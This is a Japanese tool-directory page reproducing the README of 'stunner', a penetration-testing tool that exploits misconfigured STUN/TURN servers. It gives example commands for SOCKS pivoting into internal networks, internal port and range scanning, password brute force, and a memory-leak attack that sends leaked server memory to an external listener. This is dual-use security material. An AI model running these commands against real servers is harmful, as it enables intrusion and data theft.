Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
stunner — STUN/TURNサーバーの設定ミスをテストおよび悪用し、SOCKSプロキシを介した内部ネットワークのピボット、メモリリーク攻撃、内部ポートスキャンを可能にします。 | Kitploit
ツール/GitHubGitHub/firefart/stunner
脆弱性分析エクスプロイトネットワークセキュリティペネトレーションテスト設定ミスレッドチーミング
GitHubfirefart/stunner

stunner

STUN/TURNサーバーの設定ミスをテストおよび悪用し、SOCKSプロキシを介した内部ネットワークのピボット、メモリリーク攻撃、内部ポートスキャンを可能にします。

リポジトリを見る
857461日前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

STUNNER

Stunnerは、STUN、TURN、およびTCP経由のTURNサーバーをテストおよび悪用するためのツールです。 TURNは、主にビデオ会議や音声チャット(WebRTC)で使用されるプロトコルです。

設定が誤ったサーバーを見つけた場合、このツールを使用して、TURNプロトコルを介してサーバー背後にある内部ネットワークにすべてのトラフィックを中継するローカルSOCKSプロキシを開くことができます。

このツールは、Cisco Expresswayのテスト中に開発したもので、いくつかの脆弱性が発見されました: https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/

必要なユーザー名とパスワードを取得するには、BurpでWebブラウザからのConnectリクエストをスニッフィングするなどの帯域外方法を使用して取得する必要があります。このようなサーバーをテストする方法については、READMEの下部にワークフローの例を追加しました。

ライセンス

この作品は、クリエイティブ・コモンズ表示-非営利-継承 4.0 国際ライセンスの下で提供されています。このライセンスのコピーを表示するには、http://creativecommons.org/licenses/by-nc-sa/4.0/ にアクセスするか、Creative Commons, PO Box 1866, Mountain View, CA 94042, USA に手紙を送ってください。

実装されたRFC

STUN: RFC 5389

TURN: RFC 5766

TCP用TURN: RFC 6062

IPv6用TURN拡張: RFC 6156

使用可能なコマンド

info

このコマンドは、使用されているソフトウェアなどのサポートされているプロトコルや属性を含む、STUNまたはTURNサーバーに関する情報を出力します。

オプション

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--timeout value               connect timeout to turn server (default: 1s)
--help, -h                    show help (default: false)

例

root@kitploit:~
./stunner info -s x.x.x.x:443

range-scan

このコマンドは、いくつかのプライベートおよび制限された範囲を試行して、TURNサーバーが指定されたIPアドレスへの接続を許可するように設定されているかどうかを確認します。特定の範囲が禁止されていない場合、指定された他のコマンドでその範囲をさらに列挙できます。IPに到達可能な場合、TURNサーバーがこのIPへのトラフィックを転送することを意味します。

オプション

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--help, -h                    show help (default: false)

例

TCPベースのTURN接続(あなたからTURNサーバーへの接続):

root@kitploit:~
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp

UDPベースのTURN接続(あなたからTURNサーバーへの接続):

root@kitploit:~
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp

socks

これは、バックエンドサーバーへのTCP接続をサポートするTURNサーバーにとって最も便利なコマンドの1つです。認証なしのローカルSOCKS5サーバーを起動し、すべてのTCPトラフィックをTURNプロトコル経由で中継します(SOCKS経由のUDPは現在サポートされていません)。サーバーの設定が誤っている場合、内部アドレスにトラフィックを転送するため、内部システムに到達し、サーバーを内部ネットワークへのプロキシとして悪用できます。SOCKS経由でDNSルックアップも行うことを選択した場合、ローカルのネームサーバーを使用して解決されるため、プライベートIPv4およびIPv6アドレスを使用するのが最適です。このモジュールはTCPトラフィックのみを中継できることに注意してください。

オプション

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--listen value, -l value      Address and port to listen on (default: "127.0.0.1:1080")
--drop-public, -x             Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true)
--help, -h                    show help (default: false)

例

root@kitploit:~
./stunner socks -s x.x.x.x:3478 -u username -p password -x

プロキシを起動したら、ブラウザを開き、設定でプロキシを127.0.0.1:1080のSOCKS5に指定し(ローカルアドレスをバイパスするオプションは設定しないでください。リモートのローカルアドレスに到達したいため)、ブラウザで目的のIPを呼び出します。

例: https://127.0.0.1, https://127.0.0.1:8443 または https://[::1]:8443(これらは、テスト対象のTURNサーバーのローカルインターフェースからポートを呼び出します)

また、proxychainsをこのプロキシを使用するように設定することもできます(ただし、各リクエストでプロキシを有効にするために複数のリクエストが発生するため、非常に遅くなります)。/etc/proxychains.confを編集し、ProxyListの下にsocks5 127.0.0.1 1080という値を追加します。

正しく設定されたproxychainsを使用した、このSOCKS5プロキシ経由のnmapの例(-sTを使用してTCP SYNスキャンを行うことに注意。そうしないとSOCKS5プロキシが使用されません):

root@kitploit:~
sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1

brute-transports

これは、おそらく有用な情報は得られませんが、サーバーがサポートするすべての利用可能なトランスポート(=内部システムへのプロトコル)を列挙するのに役立つ場合があります。これにより、いくつかのカスタムプロトコル実装が表示される可能性がありますが、ほとんどの場合、デフォルトのみが返されます。

オプション

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--help, -h                    show help (default: false)

例

root@kitploit:~
./stunner brute-transports -s x.x.x.x:3478 -u username -p password

brute-password

このコマンドは、指定されたファイルからすべてのパスワードをTURNプロトコル(UDP)経由でユーザー名に対して試行します。これは、pcapを分析していて、ユーザー名は確認できるがパスワードは確認できない場合に役立ちます。この場合、オフラインでのブルートフォースの方がはるかに高速であることに注意してください。

オプション

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--passfile value, -p value    passwordfile to use for bruteforce
--help, -h                    show help (default: false)

例

root@kitploit:~
./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt

memoryleak

この攻撃は次のように機能します: サーバーはtargetに送信するデータをTLV(Type Length Value)として受け取ります。このエクスプロイトでは、短い値に対して大きな長さを使用します。サーバーがTLVの境界をチェックしない場合、length分のメモリをtargetに送信する可能性があります。Cisco Expresswayはこれに対して脆弱であることが確認されていますが、Ciscoによると、現在のセッションのメモリのみを漏洩します。

オプション

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--target value, -t value      Target to leak memory to in the form host:port. Should be a public server under your control
--size value                  Size of the buffer to leak (default: 35510)
--help, -h                    show help (default: false)

例

データを受信するには、パブリックIPを持つサーバーにレシーバーをセットアップする必要があります。通常、ファイアウォールはTURNサーバーからの高ポート(>1024)のみを許可するように設定されているため、インターネットに接続する際は、この例のように8080のような高ポートを使用してください。

root@kitploit:~
sudo nc -u -l -n -v -p 8080 | hexdump -C

次に、自分のマシンで以下のステートメントを実行し、tパラメータにパブリックIPを追加します。

root@kitploit:~
./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password

動作する場合、大量のメモリが受信されるはずです。そうでない場合は、短いメッセージのみが表示されます。

udp-scanner

TURNサーバーが内部ターゲットへのUDP接続を許可する場合、このスキャナーを使用してすべてのプライベートIP範囲をスキャンし、SNMPおよびDNSリクエストを送信できます。これは多数のIPをチェックするため、完了までに数日かかる場合があります。注意して使用するか、パラメータでより小さなターゲットを指定してください。試行するSNMPコミュニティ文字列と、各IPで解決するドメイン名を指定する必要があります。ドメイン名には、例えばBurp Collaboratorを使用できます。

オプション

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--community-string value      SNMP community string to use for scanning (default: "public")
--domain value                domain name to resolve on internal DNS servers during scanning
--ip value                    Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format.  (accepts multiple inputs)
--help, -h                    show help (default: false)

例

root@kitploit:~
./stunner udp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8  --domain domain.you.control.com --community-string public

tcp-scanner

udp-scannerと同じですが、指定されたポートにHTTPリクエストを送信します(HTTPSはサポートされていません)

オプション

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--ports value                 Ports to check (default: "80,443,8080,8081")
--ip value                    Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format.  (accepts multiple inputs)
--help, -h                    show help (default: false)

例

root@kitploit:~
./stunner tcp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8

ワークフローの例

WebRTCを使用するサービスを見つけてテストしたいとします。

最初のステップは、必要なデータを取得することです。Wiresharkをバックグラウンドで起動し、Burp経由で会議に参加して、すべてのHTTPおよびWebsocketトラフィックを収集することをお勧めします。次に、Burpの履歴で3478、password、credential、usernameなどのTURN関連のキーワードを検索します(Websocketタブも必ず確認してください)。これにより、TURNサーバー、プロトコル(UDPとTCPのエンドポイントではポートが異なる場合があります)、および接続に使用される認証情報が明らかになる可能性があります。Burpでデータが見つからない場合は、Wiresharkを調べてトラフィックを特定します。非標準ポート(3478以外)の場合は、Wiresharkでプロトコルを右クリックしてSTUNとしてデコードします。これにより、接続に使用されているユーザー名が表示され、その情報を使用してBurpの履歴をさらに検索し、必要なデータを見つけることができます。Wiresharkはパスワードを表示できないことに注意してください。パスワードはパッケージの内容をハッシュするために使用されるため、逆算することはできません。

次のステップは、Burpから取得した正しいポートとプロトコルを使用して、TURNサーバーにinfoコマンドを発行します。

これが成功した場合、次のステップはrange-scanです。これにより、内部システムへのトラフィックが許可される場合、さらに悪用できますが、UDPには限られたユースケースしかないことに注意してください。

内部システムへのTCP接続が許可されている場合は、socksコマンドを起動し、ブラウザで許可されたIPにアクセスし、SOCKSプロキシを127.0.0.1:1080に設定します。127.0.0.1:443やその他のIPを試して、管理インターフェースを見つけることができます。

ツールをダウンロード